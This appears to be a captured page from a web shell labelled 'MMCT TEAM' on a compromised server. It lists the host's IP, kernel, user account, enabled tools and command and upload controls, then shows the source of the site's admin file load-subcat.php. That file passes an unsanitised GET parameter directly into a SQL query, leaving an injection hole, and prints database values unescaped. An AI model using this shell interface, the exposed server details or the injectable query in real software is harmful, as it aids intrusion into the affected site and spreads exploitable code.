MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.188.223.120
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/ppcadsexpert.com/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/ppcadsexpert.com/admin/load-subcat.php
<?php 
ob_start();
require_once("../includes/dbsmain.inc.php");
$mainCatID=$_GET['mainCatID'];
?>
<?php  
$sql="SELECT * FROM tbl_category WHERE 1 AND category_parent_id='$mainCatID' ORDER BY category_name";
$dataMain=db_query($sql);
$countMain=mysqli_num_rows($dataMain);
?>
<select class="form-control" name="resprd_cat_id" id="resprd_cat_id" onChange="load_prd(this.value)" >
<option>Choose Sub Category</option>
<?php if($countMain>0){?>
<?php while($recMain=mysqli_fetch_array($dataMain)){?>
<option  value="<?=$recMain['category_id']?>"><?=$recMain['category_name']?></option>
<?php }?>

<?php }else{?>
<option  value="0">No Category Found</option>
<?php }?>

</select> 

MMCT - 2023